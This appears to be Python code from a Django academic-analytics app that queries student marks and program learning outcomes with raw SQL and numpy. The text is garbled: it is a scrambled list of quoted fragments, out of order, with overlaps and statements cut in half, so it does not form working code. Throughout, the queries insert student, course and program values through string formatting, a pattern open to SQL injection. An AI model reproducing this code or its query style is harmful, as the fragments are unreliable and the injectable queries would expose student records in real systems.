= [] if category == 'report': temptable = [i] for", "100*(np.array(plos1)/np.array(plos2)) plos = plos.tolist() faculty = list(set(faculty)) plonum = list(set(plonum)) plonum.sort() plonum.sort(key=len, reverse=False)", "= 100*(np.array(acheived)/np.array(all_cnt)) courses = list(set(courses)) plonum = list(set(plonum)) acheived_per = np.split(acheived_per, len(acheived_per)/len(plonum)) acheived=[]", "and s.semester IN ({}) )f WHERE f.percentage>=40 GROUP BY f.plonum; '''.format(program, sem)) row1", "return plonum, new_acheived, new_attempted def getprogramwiseploandcourses(program, semesters): sem = ''; for semester in", "BY p.ploID '''.format(courseID)) row = cursor.fetchall() return row def getcompletedcourses(studentID): with connection.cursor() as", "sem += semester sem += '\",' sem = sem[:-1] with connection.cursor() as cursor:", "def getcompletedcourses(studentID): with connection.cursor() as cursor: cursor.execute( ''' SELECT distinct s.course_id FROM app_registration_t", "f.plonum, COUNT(*) as achieved_cnt FROM ( SELECT u.first_name, u.last_name, p.ploNum as plonum, 100*e.obtainedMarks/a.totalMarks", "COUNT(*) FROM ( SELECT u.first_name, u.last_name, p.ploNum as plonum, 100*e.obtainedMarks/a.totalMarks as percentage FROM", "= [] acheived = [] attempted = [] for record in row1: plonum.append(record[0])", "= [] courses = [] counts = [] for record in row: plonum.append(record[0])", "and s.course_id ='{}' and s.faculty_id = emp.employeeID and emp.user_ptr_id = u.id )f WHERE", "\"PLO11\", \"PLO12\"] for i in courses: temptable = [] if category == 'report':", "= list(set(faculty)) plonum = list(set(plonum)) plonum.sort() plonum.sort(key=len, reverse=False) plos = np.array(plos) plos =", "e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and p.ploNum = derived.ploNum", "f.ploNum, f.course_id; '''.format(ploo, sem)) row1 = cursor.fetchall() with connection.cursor() as cursor: cursor.execute(''' SELECT", "FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p, app_student_t s,", "new_acheived.append(plo.tolist()) new_attempted=[] for plo in attempted: new_attempted.append(plo.tolist()) plonum.sort() plonum.sort(key=len, reverse=False) return plonum, new_acheived,", "f.course_id '''.format(program, sem)) row = cursor.fetchall() plonum = [] courses = [] counts", "a.section_id = s.sectionID and s.faculty_id IN ( SELECT DISTINCT s.faculty_id FROM app_section_t s", "FROM ( SELECT s.semester, p.ploNum as plonum, s.course_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t", "record in row1: faculty.append(record[0]+' '+record[1]) plonum.append(record[2]) plos1.append(record[3]) for record in row2: plos2.append(record[0]) plos", "= s.sectionID and r.student_id = '{}' '''.format(studentID)) row = cursor.fetchall() return row def", "cursor.execute( ''' SELECT studentID FROM app_student_t s WHERE s.user_ptr_id = '{}' '''.format(userID)) row", "= p.ploID and r.student_id = '{}' and s.studentID = r.student_id and s.program_id =", "in plos: new_plo.append(plo.tolist()) return faculty, plonum, new_plo def getsemestercoursewisePLO(courseID, semesters): sem = '';", "100 - acheived_per acheived_per = np.split(acheived_per, len(acheived_per)/len(semester)) failed_per = np.split(failed_per, len(failed_per)/len(semester)) acheived=[] for", "({}) and a.section_id = s.sectionID and s.semester IN ({}) )f GROUP BY f.ploNum,", "= s.sectionID and s.semester IN ({}) )f GROUP BY f.ploNum, f.course_id; '''.format(ploo, sem))", "s.faculty_id = emp.employeeID and emp.user_ptr_id = u.id )f GROUP BY f.first_name, f.plonum; '''.format(courseID,", "semester.append(record[0]) plonum.append(record[1]) acheived.append(record[2]) for record in row2: all_cnt.append(record[0]) acheived_per = 100*(np.array(acheived)/np.array(all_cnt)) semester =", "='{}' and s.course_id = co.course_id )f GROUP BY f.semester, f.plonum; '''.format(sem, courseID)) row2", "= sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.ploNum, f.course_id, COUNT(*) FROM (", "list(set(plonum)) plonum.sort() plonum.sort(key=len, reverse=False) courses = list(set(courses)) courses.sort() table = np.zeros((len(courses), len(plonum))) for", "IN ({}) )f WHERE f.percentage>=40 GROUP BY f.plonum; '''.format(program, sem)) row1 = cursor.fetchall()", "= [] plonum = [] plos1 = [] plos2 = [] for record", "WHERE r.student_id = derived.StudentID and e.registration_id = r.registrationID and e.assessment_id = a.assessmentID and", "acheived, failed def getplowisecoursecomparism(plos, semesters): sem = ''; for semester in semesters: sem", "and s.studentID = r.student_id and s.program_id = pr.programID GROUP BY p.ploID '''.format(studentID)) row", "cursor.fetchall() cursor.execute(''' SELECT COUNT(*) FROM ( SELECT u.first_name, u.last_name, p.ploNum as plonum, 100*e.obtainedMarks/a.totalMarks", "emp.user_ptr_id = u.id )f GROUP BY f.first_name, f.plonum; '''.format(courseID, sem, courseID)) row2 =", "r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p WHERE r.registrationID = e.registration_id", ")f GROUP BY f.plonum; '''.format(program, sem)) row2 = cursor.fetchall() plonum = [] acheived", "f.ploNum, f.course_id, COUNT(*) FROM ( SELECT p.ploNum as plonum, s.course_id, r.student_id, 100*e.obtainedMarks/a.totalMarks as", "plo in plos: ploo += '\"' ploo += plo ploo += '\",' ploo", "'''.format(courseID)) row = cursor.fetchall() return row def getcompletedcourses(studentID): with connection.cursor() as cursor: cursor.execute(", "def getcoursewiseavgPLO(courseID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as plonum, avg(100*e.obtainedMarks/a.totalMarks) FROM", "semester, plonum, acheived, failed def getplowisecoursecomparism(plos, semesters): sem = ''; for semester in", "for record in row: table[courses.index(record[1])][plonum.index(record[0])] += record[2] table = table.tolist() return plonum, courses,", "p, app_section_t s WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID and a.co_id=co.coID", "f.plonum; '''.format(courseID, sem, courseID)) row2 = cursor.fetchall() faculty = [] plonum = []", "for plo in acheived_per: acheived.append(plo.tolist()) return courses, plonum, acheived def getprogramsemesterwiseplocount(program, semesters): sem", "plo in acheived: new_acheived.append(plo.tolist()) new_attempted=[] for plo in attempted: new_attempted.append(plo.tolist()) plonum.sort() plonum.sort(key=len, reverse=False)", "return row def getcoursewiseavgPLO(courseID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as plonum,", "a.section_id = s.sectionID and s.semester IN ({}) and co.course_id ='{}' and s.course_id =", "a, app_evaluation_t e, app_co_t co, app_plo_t p WHERE r.registrationID = e.registration_id and e.assessment_id", "co.plo_id = p.ploID and p.program_id = prog.programID and prog.programName = '{}' and a.section_id", "list(set(courses)) courses.sort() table = np.zeros((len(courses), len(plonum))) for record in row: table[courses.index(record[1])][plonum.index(record[0])] += record[2]", "SELECT COUNT(*) FROM ( SELECT u.first_name, u.last_name, p.ploNum as plonum, 100*e.obtainedMarks/a.totalMarks as percentage", "percentage FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p, app_section_t", "list(set(plonum)) failed_per = 100 - acheived_per acheived_per = np.split(acheived_per, len(acheived_per)/len(semester)) failed_per = np.split(failed_per,", "'''.format(studentID)) row = cursor.fetchall() return row def getstudentallcoursePLO(studentID, category): with connection.cursor() as cursor:", "acheived_per: acheived.append(plo.tolist()) return courses, plonum, acheived def getprogramsemesterwiseplocount(program, semesters): sem = ''; for", "for record in row2: plos2.append(record[0]) plos = 100*(np.array(plos1)/np.array(plos2)) plos = plos.tolist() faculty =", "e, app_co_t co, app_plo_t p, app_section_t s, accounts_user u, app_employee_t emp WHERE r.registrationID", "= e.registration_id and e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and", "= np.zeros((len(courses), len(plonum))) for record in row: table[courses.index(record[1])][plonum.index(record[0])] += record[2] table = table.tolist()", "as cursor: cursor.execute(''' SELECT p.ploNum as plonum, avg(100*e.obtainedMarks/a.totalMarks) FROM app_registration_t r, app_assessment_t a,", "if category == 'report': temptable = [i] for j in plo: found =", "a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and r.student_id = '{}' and s.studentID", "s.faculty_id FROM app_section_t s WHERE s.course_id = '{}' ) and s.semester IN ({})", "r.student_id = '{}' GROUP BY r.student_id,p.ploID) derived WHERE r.student_id = derived.StudentID and e.registration_id", "row1: faculty.append(record[0]+' '+record[1]) plonum.append(record[2]) plos1.append(record[3]) for record in row2: plos2.append(record[0]) plos = 100*(np.array(plos1)/np.array(plos2))", "p, app_section_t s, app_program_t prog WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID", "'\"' sem += semester sem += '\",' sem = sem[:-1] ploo = '';", "and co.plo_id = p.ploID and r.student_id = '{}' GROUP BY r.student_id,p.ploID) derived WHERE", "== k[0] and i == k[1]: if category == 'report': temptable.append(np.round(100 * k[2]", "cursor.fetchall() return row def getstudentprogramwisePLO(studentID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as", "getfacultycoursewisePLO(courseID, semesters): sem = ''; for semester in semesters: sem += '\"' sem", "a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and p.ploNum in ({}) and a.section_id", "= cursor.fetchall() cursor.execute(''' SELECT COUNT(*) FROM ( SELECT u.first_name, u.last_name, p.ploNum as plonum,", "= s.sectionID and s.semester IN ({}) )f GROUP BY f.plonum; '''.format(program, sem)) row2", "for record in row: plonum.append(record[0]) courses.append(record[1]) plonum = list(set(plonum)) plonum.sort() plonum.sort(key=len, reverse=False) courses", "cursor: cursor.execute( ''' SELECT distinct s.course_id FROM app_registration_t r, app_evaluation_t e, app_section_t s", "f.semester, f.plonum, COUNT(*) as achieved_cnt FROM ( SELECT s.semester, p.ploNum as plonum, s.course_id,", "courses: courses.append(entry[1]) courses.sort() plo = [\"PLO1\", \"PLO2\", \"PLO3\", \"PLO4\", \"PLO5\", \"PLO6\", \"PLO7\", \"PLO8\",", "courses.append(record[1]) plonum = list(set(plonum)) plonum.sort() plonum.sort(key=len, reverse=False) courses = list(set(courses)) courses.sort() table =", "connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as plonum,100*(sum(e.obtainedMarks)/sum(a.totalMarks)) as plopercent FROM app_registration_t r,", "category): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as ploNum,co.course_id,sum(e.obtainedMarks),sum(a.totalMarks), derived.Total FROM app_registration_t", "e, app_co_t co, app_plo_t p, app_student_t s, app_program_t pr WHERE r.registrationID = e.registration_id", "'{}' and a.section_id = s.sectionID and s.semester IN ({}) )f GROUP BY f.plonum;", "s.sectionID and s.semester IN ({}) and co.course_id ='{}' and s.course_id = co.course_id )f", "as ploNum,sum(a.totalMarks) as Total, r.student_id as StudentID FROM app_registration_t r, app_assessment_t a, app_evaluation_t", "and s.semester IN ({}) )f GROUP BY f.ploNum, f.course_id; '''.format(ploo, sem)) row2 =", "plonum = list(set(plonum)) acheived_per = np.split(acheived_per, len(acheived_per)/len(plonum)) acheived=[] for plo in acheived_per: acheived.append(plo.tolist())", "cursor.execute(''' SELECT s.program_id FROM app_student_t s WHERE s.studentID = '{}' '''.format(studentID)) row =", "= np.array(plos) plos = np.split(plos, len(plos)/len(plonum)) new_plo=[] for plo in plos: new_plo.append(plo.tolist()) return", "def getprogramwiseploandcourses(program, semesters): sem = ''; for semester in semesters: sem += '\"'", "getstudentprogramid(studentID): with connection.cursor() as cursor: cursor.execute(''' SELECT s.program_id FROM app_student_t s WHERE s.studentID", "\"PLO8\", \"PLO9\", \"PLO10\", \"PLO11\", \"PLO12\"] for i in courses: temptable = [] if", "as cursor: cursor.execute( ''' SELECT distinct s.course_id FROM app_registration_t r, app_evaluation_t e, app_section_t", "table = [] courses = [] for entry in row: if entry[1] not", "= p.ploID and co.course_id = '{}' GROUP BY p.ploID '''.format(courseID)) row = cursor.fetchall()", "plos1 = [] plos2 = [] for record in row1: faculty.append(record[0]+' '+record[1]) plonum.append(record[2])", "ploNum,co.course_id,sum(e.obtainedMarks),sum(a.totalMarks), derived.Total FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p,", "SELECT f.ploNum, f.course_id, COUNT(*) FROM ( SELECT p.ploNum as plonum, s.course_id, r.student_id, 100*e.obtainedMarks/a.totalMarks", ")f GROUP BY f.semester, f.plonum; '''.format(sem, courseID)) row2 = cursor.fetchall() semester = []", "co.course_id = '{}' GROUP BY p.ploID '''.format(studentID, courseID)) row = cursor.fetchall() return row", "FROM app_student_t s WHERE s.studentID = '{}' '''.format(studentID)) row = cursor.fetchall() return row", "s.studentID = '{}' '''.format(studentID)) row = cursor.fetchall() return row def getstudentallcoursePLO(studentID, category): with", "emp.employeeID and emp.user_ptr_id = u.id )f WHERE f.percentage >= 40 GROUP BY f.first_name,", "plonum, s.course_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t", "= cursor.fetchall() cursor.execute(''' SELECT COUNT(*) as all_cnt FROM ( SELECT s.semester, p.ploNum as", "and a.co_id=co.coID and co.plo_id = p.ploID and p.ploNum = derived.ploNum GROUP BY p.ploID,co.course_id", "= cursor.fetchall() semester = [] plonum = [] acheived = [] all_cnt =", "co.plo_id = p.ploID and a.section_id = s.sectionID and s.semester IN ({}) and co.course_id", "= '{}' and co.course_id = '{}' GROUP BY p.ploID '''.format(studentID, courseID)) row =", "GROUP BY f.ploNum, f.course_id '''.format(program, sem)) row = cursor.fetchall() plonum = [] courses", "'\",' sem = sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.plonum, COUNT(*) FROM", "( SELECT u.first_name, u.last_name, p.ploNum as plonum, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r,", "GROUP BY f.plonum; '''.format(program, sem)) row2 = cursor.fetchall() plonum = [] acheived =", "app_evaluation_t e, app_co_t co, app_plo_t p, ( SELECT p.ploNum as ploNum,sum(a.totalMarks) as Total,", "return row def getstudentprogramid(studentID): with connection.cursor() as cursor: cursor.execute(''' SELECT s.program_id FROM app_student_t", "derived.StudentID and e.registration_id = r.registrationID and e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id", "''; for semester in semesters: sem += '\"' sem += semester sem +=", "SELECT s.program_id FROM app_student_t s WHERE s.studentID = '{}' '''.format(studentID)) row = cursor.fetchall()", "'\",' sem = sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.semester, f.plonum, COUNT(*)", "as cursor: cursor.execute(''' SELECT f.course_id, f.ploNum, COUNT(*) FROM ( SELECT s.course_id, p.ploNum, 100*e.obtainedMarks/a.totalMarks", "in ({}) and a.section_id = s.sectionID and s.semester IN ({}) )f WHERE f.percentage", "def getstudentallcoursePLO(studentID, category): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as ploNum,co.course_id,sum(e.obtainedMarks),sum(a.totalMarks), derived.Total", "plonum = [] plos1 = [] plos2 = [] for record in row1:", "= [] for record in row1: faculty.append(record[0]+' '+record[1]) plonum.append(record[2]) plos1.append(record[3]) for record in", "found: if category == 'report': temptable.append('N/A') elif category == 'chart': temptable.append(0) table.append(temptable) return", "cursor.fetchall() plonum = [] acheived = [] attempted = [] for record in", "failed_per: failed.append(plo.tolist()) return semester, plonum, acheived, failed def getplowisecoursecomparism(plos, semesters): sem = '';", "and a.section_id = s.sectionID and s.faculty_id IN ( SELECT DISTINCT s.faculty_id FROM app_section_t", "len(acheived_per)/len(plonum)) acheived=[] for plo in acheived_per: acheived.append(plo.tolist()) return courses, plonum, acheived def getprogramsemesterwiseplocount(program,", "acheived def getprogramsemesterwiseplocount(program, semesters): sem = ''; for semester in semesters: sem +=", "cursor.fetchall() return row def getstudentallcoursePLO(studentID, category): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum", "with connection.cursor() as cursor: cursor.execute(''' SELECT f.course_id, f.ploNum, COUNT(*) FROM ( SELECT s.course_id,", "temptable.append(np.round(100 * k[2] / k[4], 2)) found = True if not found: if", "p.ploNum as plonum,100*(sum(e.obtainedMarks)/sum(a.totalMarks)) as plopercent FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t", "for i in courses: temptable = [] if category == 'report': temptable =", "FROM app_student_t s WHERE s.user_ptr_id = '{}' '''.format(userID)) row = cursor.fetchall() return row", ") and s.semester IN ({}) and s.course_id ='{}' and s.faculty_id = emp.employeeID and", "all_cnt = [] for record in row1: courses.append(record[0]) plonum.append(record[1]) acheived.append(record[2]) for record in", "IN ({}) and co.course_id ='{}' and s.course_id = co.course_id )f WHERE f.percentage >=", "cursor.execute(''' SELECT p.ploNum as plonum, avg(100*e.obtainedMarks/a.totalMarks) FROM app_registration_t r, app_assessment_t a, app_evaluation_t e,", "40 GROUP BY f.first_name, f.plonum; '''.format(courseID, sem, courseID)) row1 = cursor.fetchall() cursor.execute(''' SELECT", "getprogramwiseavgPLO(programID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as plonum, avg(100*e.obtainedMarks/a.totalMarks) FROM app_registration_t", "plonum.sort(key=len, reverse=False) plos = np.array(plos) plos = np.split(plos, len(plos)/len(plonum)) new_plo=[] for plo in", "and a.section_id = s.sectionID and s.semester IN ({}) and co.course_id ='{}' and s.course_id", "sem = sem[:-1] ploo = ''; for plo in plos: ploo += '\"'", "COUNT(*) FROM ( SELECT s.course_id, p.ploNum, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t", "= sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.semester, f.plonum, COUNT(*) as achieved_cnt", "+= semester sem += '\",' sem = sem[:-1] ploo = ''; for plo", "FROM ( SELECT p.ploNum as plonum, r.student_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r,", "cursor: cursor.execute(''' SELECT s.program_id FROM app_student_t s WHERE s.studentID = '{}' '''.format(studentID)) row", "'''.format(program, sem)) row2 = cursor.fetchall() plonum = [] acheived = [] attempted =", "if j == k[0] and i == k[1]: if category == 'report': temptable.append(np.round(100", "app_student_t s, app_program_t pr WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID and", "sem += '\",' sem = sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.first_name,", "[] for entry in row: if entry[1] not in courses: courses.append(entry[1]) courses.sort() plo", "\"PLO10\", \"PLO11\", \"PLO12\"] for i in courses: temptable = [] if category ==", "app_program_t pr WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID and a.co_id=co.coID and", "a.co_id=co.coID and co.plo_id = p.ploID and a.section_id = s.sectionID and s.faculty_id IN (", "sem)) row2 = cursor.fetchall() courses = [] plonum = [] acheived = []", "and s.semester IN ({}) and co.course_id ='{}' and s.course_id = co.course_id )f WHERE", "derived WHERE r.student_id = derived.StudentID and e.registration_id = r.registrationID and e.assessment_id = a.assessmentID", "as cursor: cursor.execute(''' SELECT COUNT(*) FROM ( SELECT s.course_id, p.ploNum, 100*e.obtainedMarks/a.totalMarks as percentage", "GROUP BY p.ploID '''.format(studentID)) row = cursor.fetchall() return row def getprogramwiseavgPLO(programID): with connection.cursor()", "def getstudentprogramid(studentID): with connection.cursor() as cursor: cursor.execute(''' SELECT s.program_id FROM app_student_t s WHERE", "import numpy as np def getstudentcoursewisePLO(studentID, courseID): with connection.cursor() as cursor: cursor.execute(''' SELECT", "row def getcorrespondingstudentid(userID): with connection.cursor() as cursor: cursor.execute( ''' SELECT studentID FROM app_student_t", "'''.format(courseID, sem, courseID)) row2 = cursor.fetchall() faculty = [] plonum = [] plos1", "COUNT(*) as achieved_cnt FROM ( SELECT u.first_name, u.last_name, p.ploNum as plonum, 100*e.obtainedMarks/a.totalMarks as", "* k[2] / k[4], 2)) found = True if not found: if category", "WHERE s.user_ptr_id = '{}' '''.format(userID)) row = cursor.fetchall() return row def getstudentprogramwisePLO(studentID): with", "category == 'report': temptable.append('N/A') elif category == 'chart': temptable.append(0) table.append(temptable) return plo, courses,", "for plo in plos: ploo += '\"' ploo += plo ploo += '\",'", "failed.append(plo.tolist()) return semester, plonum, acheived, failed def getplowisecoursecomparism(plos, semesters): sem = ''; for", "= co.course_id )f WHERE f.percentage >= 40 GROUP BY f.semester, f.plonum; '''.format(sem, courseID))", "connection.cursor() as cursor: cursor.execute(''' SELECT COUNT(*) FROM ( SELECT p.ploNum as plonum, r.student_id,", "and s.semester IN ({}) and s.course_id ='{}' and s.faculty_id = emp.employeeID and emp.user_ptr_id", "GROUP BY p.ploID '''.format(courseID)) row = cursor.fetchall() return row def getcompletedcourses(studentID): with connection.cursor()", "j == k[0] and i == k[1]: if category == 'report': temptable.append(np.round(100 *", "p.ploID and a.section_id = s.sectionID and s.semester IN ({}) and co.course_id ='{}' and", "courses.append(record[0]) plonum.append(record[1]) acheived.append(record[2]) for record in row2: all_cnt.append(record[0]) acheived_per = 100*(np.array(acheived)/np.array(all_cnt)) courses =", "SELECT f.plonum, COUNT(*) FROM ( SELECT p.ploNum as plonum, r.student_id, 100*e.obtainedMarks/a.totalMarks as percentage", "new_acheived, new_attempted def getprogramwiseploandcourses(program, semesters): sem = ''; for semester in semesters: sem", "100*(np.array(acheived)/np.array(all_cnt)) courses = list(set(courses)) plonum = list(set(plonum)) acheived_per = np.split(acheived_per, len(acheived_per)/len(plonum)) acheived=[] for", "FROM ( SELECT u.first_name, u.last_name, p.ploNum as plonum, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t", "app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p, app_student_t s, app_program_t pr WHERE", "False for k in row: if j == k[0] and i == k[1]:", "p.ploNum = derived.ploNum GROUP BY p.ploID,co.course_id '''.format(studentID)) row = cursor.fetchall() table = []", "app_employee_t emp WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID and a.co_id=co.coID and", "e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and p.ploNum in ({})", "100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t", "IN ({}) and co.course_id ='{}' and s.course_id = co.course_id )f GROUP BY f.semester,", "app_co_t co, app_plo_t p WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID and", "p.program_id = '{}' GROUP BY p.ploID '''.format(programID)) row = cursor.fetchall() return row def", "semester in semesters: sem += '\"' sem += semester sem += '\",' sem", "= '{}' GROUP BY p.ploID '''.format(studentID, courseID)) row = cursor.fetchall() return row def", "s.semester, p.ploNum as plonum, s.course_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a,", "+= plo ploo += '\",' ploo = ploo[:-1] with connection.cursor() as cursor: cursor.execute('''", "connection.cursor() as cursor: cursor.execute(''' SELECT f.plonum, COUNT(*) FROM ( SELECT p.ploNum as plonum,", "''' SELECT distinct s.course_id FROM app_registration_t r, app_evaluation_t e, app_section_t s WHERE r.registrationID", "= [] if category == 'report': temptable = [i] for j in plo:", "as cursor: cursor.execute(''' SELECT f.plonum, COUNT(*) FROM ( SELECT p.ploNum as plonum, r.student_id,", "with connection.cursor() as cursor: cursor.execute(''' SELECT s.program_id FROM app_student_t s WHERE s.studentID =", "and co.course_id ='{}' and s.course_id = co.course_id )f GROUP BY f.semester, f.plonum; '''.format(sem,", "= list(set(plonum)) plonum.sort() plonum.sort(key=len, reverse=False) courses = list(set(courses)) courses.sort() table = np.zeros((len(courses), len(plonum)))", "cursor: cursor.execute(''' SELECT p.ploNum as plonum, avg(100*e.obtainedMarks/a.totalMarks) FROM app_registration_t r, app_assessment_t a, app_evaluation_t", "s.studentID = r.student_id and s.program_id = pr.programID GROUP BY p.ploID '''.format(studentID)) row =", "p.ploID and p.program_id = prog.programID and prog.programName = '{}' and a.section_id = s.sectionID", "plo = [\"PLO1\", \"PLO2\", \"PLO3\", \"PLO4\", \"PLO5\", \"PLO6\", \"PLO7\", \"PLO8\", \"PLO9\", \"PLO10\", \"PLO11\",", "new_plo=[] for plo in plos: new_plo.append(plo.tolist()) return faculty, plonum, new_plo def getsemestercoursewisePLO(courseID, semesters):", "np.split(acheived_per, len(acheived_per)/len(semester)) failed_per = np.split(failed_per, len(failed_per)/len(semester)) acheived=[] for plo in acheived_per: acheived.append(plo.tolist()) failed=[]", "FROM app_registration_t r, app_evaluation_t e, app_section_t s WHERE r.registrationID = e.registration_id and r.section_id", "courses = [] for entry in row: if entry[1] not in courses: courses.append(entry[1])", "= emp.employeeID and emp.user_ptr_id = u.id )f WHERE f.percentage >= 40 GROUP BY", "= cursor.fetchall() return row def getprogramwiseavgPLO(programID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum", "p.ploNum as plonum, avg(100*e.obtainedMarks/a.totalMarks) FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co,", "s WHERE r.registrationID = e.registration_id and r.section_id = s.sectionID and r.student_id = '{}'", "= list(set(semester)) plonum = list(set(plonum)) failed_per = 100 - acheived_per acheived_per = np.split(acheived_per,", "s.sectionID and s.semester IN ({}) )f WHERE f.percentage>=40 GROUP BY f.ploNum, f.course_id '''.format(program,", "row = cursor.fetchall() return row def getstudentprogramid(studentID): with connection.cursor() as cursor: cursor.execute(''' SELECT", "[] all_cnt = [] for record in row1: semester.append(record[0]) plonum.append(record[1]) acheived.append(record[2]) for record", "courseID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as plonum,100*(sum(e.obtainedMarks)/sum(a.totalMarks)) as plopercent FROM", "app_plo_t p, app_section_t s, accounts_user u, app_employee_t emp WHERE r.registrationID = e.registration_id and", "and a.section_id = s.sectionID and s.semester IN ({}) )f WHERE f.percentage>=40 GROUP BY", "np.split(acheived_per, len(acheived_per)/len(plonum)) acheived=[] for plo in acheived_per: acheived.append(plo.tolist()) return courses, plonum, acheived def", "= [\"PLO1\", \"PLO2\", \"PLO3\", \"PLO4\", \"PLO5\", \"PLO6\", \"PLO7\", \"PLO8\", \"PLO9\", \"PLO10\", \"PLO11\", \"PLO12\"]", "e.registration_id = r.registrationID and e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID", "app_co_t co, app_plo_t p, app_section_t s, app_program_t prog WHERE r.registrationID = e.registration_id and", "plonum = [] acheived = [] attempted = [] for record in row1:", "a.section_id = s.sectionID and s.semester IN ({}) )f WHERE f.percentage>=40 GROUP BY f.plonum;", "and co.course_id ='{}' and s.course_id = co.course_id )f WHERE f.percentage >= 40 GROUP", "[] acheived = [] all_cnt = [] for record in row1: courses.append(record[0]) plonum.append(record[1])", "= cursor.fetchall() plonum = [] acheived = [] attempted = [] for record", "r, app_evaluation_t e, app_section_t s WHERE r.registrationID = e.registration_id and r.section_id = s.sectionID", "achieved_cnt FROM ( SELECT s.semester, p.ploNum as plonum, s.course_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM", "[i] for j in plo: found = False for k in row: if", "IN ({}) and s.course_id ='{}' and s.faculty_id = emp.employeeID and emp.user_ptr_id = u.id", "r.registrationID = e.registration_id and e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID", "= u.id )f GROUP BY f.first_name, f.plonum; '''.format(courseID, sem, courseID)) row2 = cursor.fetchall()", "plo in plos: new_plo.append(plo.tolist()) return faculty, plonum, new_plo def getsemestercoursewisePLO(courseID, semesters): sem =", "f.plonum; '''.format(sem, courseID)) row1 = cursor.fetchall() cursor.execute(''' SELECT COUNT(*) as all_cnt FROM (", "for plo in acheived_per: acheived.append(plo.tolist()) failed=[] for plo in failed_per: failed.append(plo.tolist()) return semester,", ")f WHERE f.percentage >= 40 GROUP BY f.semester, f.plonum; '''.format(sem, courseID)) row1 =", "getprogramsemesterwiseplocount(program, semesters): sem = ''; for semester in semesters: sem += '\"' sem", "WHERE s.course_id = '{}' ) and s.semester IN ({}) and s.course_id ='{}' and", "getcoursewiseavgPLO(courseID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as plonum, avg(100*e.obtainedMarks/a.totalMarks) FROM app_registration_t", "record in row1: courses.append(record[0]) plonum.append(record[1]) acheived.append(record[2]) for record in row2: all_cnt.append(record[0]) acheived_per =", "app_section_t s WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID and a.co_id=co.coID and", "= 100 - acheived_per acheived_per = np.split(acheived_per, len(acheived_per)/len(semester)) failed_per = np.split(failed_per, len(failed_per)/len(semester)) acheived=[]", "def getprogramwiseavgPLO(programID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as plonum, avg(100*e.obtainedMarks/a.totalMarks) FROM", "k[2] / k[3], 2)) elif category == 'chart': temptable.append(np.round(100 * k[2] / k[4],", "for record in row1: semester.append(record[0]) plonum.append(record[1]) acheived.append(record[2]) for record in row2: all_cnt.append(record[0]) acheived_per", "acheived=[] for plo in acheived_per: acheived.append(plo.tolist()) failed=[] for plo in failed_per: failed.append(plo.tolist()) return", "+= '\"' sem += semester sem += '\",' sem = sem[:-1] with connection.cursor()", "= [] counts = [] for record in row: plonum.append(record[0]) courses.append(record[1]) plonum =", "BY r.student_id,p.ploID) derived WHERE r.student_id = derived.StudentID and e.registration_id = r.registrationID and e.assessment_id", "app_co_t co, app_plo_t p, app_section_t s WHERE r.registrationID = e.registration_id and e.assessment_id =", "as all_cnt FROM ( SELECT s.semester, p.ploNum as plonum, s.course_id, 100*e.obtainedMarks/a.totalMarks as percentage", "plonum = list(set(plonum)) acheived = np.array(acheived) attempted = np.array(attempted) new_acheived=[] for plo in", "plonum.sort(key=len, reverse=False) return plonum, new_acheived, new_attempted def getprogramwiseploandcourses(program, semesters): sem = ''; for", "new_attempted def getprogramwiseploandcourses(program, semesters): sem = ''; for semester in semesters: sem +=", "'''.format(studentID, courseID)) row = cursor.fetchall() return row def getcoursewiseavgPLO(courseID): with connection.cursor() as cursor:", "in row: if entry[1] not in courses: courses.append(entry[1]) 